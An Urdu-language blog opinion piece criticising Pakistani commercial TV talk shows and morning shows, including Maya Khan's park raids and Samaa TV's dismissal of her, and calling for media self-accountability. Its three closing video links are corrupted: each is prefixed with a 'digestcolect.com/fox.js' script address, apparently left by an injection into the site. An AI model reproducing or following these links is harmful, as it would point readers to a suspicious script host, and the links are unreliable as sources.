The introspection of TV shows


جہاں میڈیا معاشرے کاایک آئینہ ہے، تو دوسری جانب یہ راۓ عامہ بنانے اور بگاڑنے کا سب سے بڑا زریعہ بھی ہے۔ ہمارے ہاں جو اجتمائ انسانی رویے اورسیاسی اقدار ہیں، ان کی تعمیرو تخریب میں میڈیا کا اہم ترین کردار ہے۔ میں تو اکثر یہ کہتا ہوںکہ ممتازقادری نے وہی کیا، جو میڈیا اسے کرنے پر اکسا رہا تھا۔ اور ابھی حال ہی میں قصور شہر میں عمران خان کے جلسہ میں جس طرح سے لوگ کرسیاں اٹھا کر بھاگ گۓ، اس میں بھی ہمیں قصوروار میڈیا کے وہ بحث ومباحثہ کے نام نہاد ٹاک شوز نظر آتے ہیں، جنہوں نے ایسے شہری پیدا کۓ ہیں، جو سیاست کو مزاق، تفریح اور قابل نفرت سمجھتے ہیں۔

کمرشل میڈیا راۓ عامہ کو مشبت جہت دینے میں بری طرح ناکام دکھائ دیتا ہے، اس نے سٹوڈیو میں زید حامد، شیخ رشید، عمران خان اور جنرل حمید گل کو بٹھا کر جو راۓ عامہ تخلیق کی ہے، وہ غیر جمہوری، غیر عقلی اور انتہا پسندانہ ہے۔ لہذا ہمارے کمرشل ٹاک شوز اور انفوٹینمنٹ کے پروگرامز میں جو مواد، خیالات، شبیہات اور محاکا ت پیش کۓ جارہے ہیں، ان کا مشاہدہ اور تجزیہ کرنےکی ضرورت ہے۔

آج عوام سوال کررہے ہیں کہ میڈیا جو سماج اور اخلاقیات کا ٹھیکیدار بن کر سب کا بھونڈے اندازمیں گلی محلوں، پارکوں میں احتساب کرتا پھرتا ہے پراس کا احتساب کون کرے گا؟ لوگوں کی نجی زندگی میں مداخلت کرنا’ ان سے بدتمیزی اور بدتہذیبی سےگفتگو کرنا’ اورفرد کو احترام نہیں دینا، یہ سب غیر زمہ دار میڈیا کی نشانیاں ہیں۔

ستائیس جنوری کو پیش کیا جانے والا’نیوزنائٹ ود طلعت’ اس اعتبار سے بہتر کاوش ہے کہ پہلی مرتبہ (اگرہم غلط نہیں) کسی کمرشل شو کا تجزیہ اورمشاہدہ کرنے کی کوششش کی گئ ہے۔ مگر ہم سمجھتے ہیں، کہ ‘سستی شہرت’ اور ‘ریٹینگ’ کا مسئلہ صرف ‘مارننگ شوز’ کا نہیں بلکہ یہ وباء تو میڈیا کے تمام پروگرامزمیں پھیلی نظر آتی ہے۔ اگر’مایا خان’ کے پروگرام’ جس میں تمام بین الاقوامی، قومی و صحافتی قوانین اور ضابطے پاؤں تلے روندتے ہوۓ وہ اوراس کی چھاپہ مار ٹیم پبلک پارکس میں داخل ہوئ تھی، پر تجزیے کے ساتھ تنقید ہوسکتی ہے’ تو باقی پروگرامز اور خاص طور پر ٹاک شوز پر بھی اس طرز کے پروگرامز ہونے چاہیے اوران کا تنقیی جائزہ لینا چاہیے۔ بکہ اس کی ذیادہ ضرورت ہے۔ لوگ تین سیاست دانوں کو بٹھا کر لڑانے والے ٹاک شوز سے اب تنگ آچکے ہیں۔

میڈیا کے اپنے پروگرامز میں اب ایک دروں بینی اور خود احتسابی کا غمل نظر آنا چاہیے۔ طلعت حسین نے مایا خان کے مارننگ شو میں پرموٹ کے جانے والے ایک جعلی پیرکے سکینڈل کو بھی تجزے اور مشاہدے کے لۓ کیس سٹڈی کے طور پر پیش کیا۔ ہم سمجھتے ہیں بات اب صرف جعلی پیرکی نہیں بلکہ میڈیا پر قابض جعلی دانشوروں کی بھی ہونی چاہیے، جوہرٹاک شو میں بیٹھ کراپنے فرسودہ اور انتہاپسندانہ خیالات سے معصوم عوام کوگمراہ کرکے وطن عزیزکوایک بارپھر تباہی وبربادی کے راستے پر لے جانا چاہتے ہیں۔

سماء ٹی وی کی انتظامیہ نے مایا خان کو ان کی ساری ٹیم کیساتھ فارغ کرکےایک مثبت مشال قائم کی ہے – یہ سوشل اورانٹرنیٹ بیسڈ میڈیا پر متحرک شہریوں کی ایک بڑی کامیابی ہے۔ زندہ معاشرے ایکیٹو سٹیزن شپ سےہی زندہ رہتے ہیں۔

میڈیا کو جد ید فکر، انسانی آذادیوں، عوا می حقو ق اور انسا ن دوست جمہوری نظر یا ت کو فروغ دینے کی ضرورت ہے۔ ہما رے ٹی وی چینلز پر اب بھی اُ نہیں موضوعا ت پر بحث و مباحثے ہو ر ہے ہیں ۔جن سوا لا ت کو مغر ب سینکڑوں سا ل پہلے حل کر چکا ہے ۔ جس سے عوا م کنفیو ژ سے کنفیو ژ ہو تے جا ر ہے ہیں ۔ کمرشل میڈیا پر آ ج یہ ذ مہ دا ر ی عا ئد ہوتی ہے کہ وہ عوا م کو عصر ی تقاضوی ، جد ید اصطلا حا ت اور اُ ن کے نتیجے میں آ نے وا لی سما جی تبدیلیو ں اور پھر اِ ن تبد یلیو ں کے افرا د پرعمر ا نی اور نفسیا تی اثرا ت کا شعو ر جد ید تنا ظر میں دے ۔ اور ان کو راۓ عامہ کے حوالے سے جدید اور جمہوری شہری بناۓ۔

http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.youtube.com/watch?v=1YJusMqiVKc

http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.youtube.com/watch?v=6s-7qvnEwIY

http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.youtube.com/watch?v=GWBsC7pVC14

Comments

comments

Latest Comments
  1. irfan Urfi
    -
  2. Rehman
    -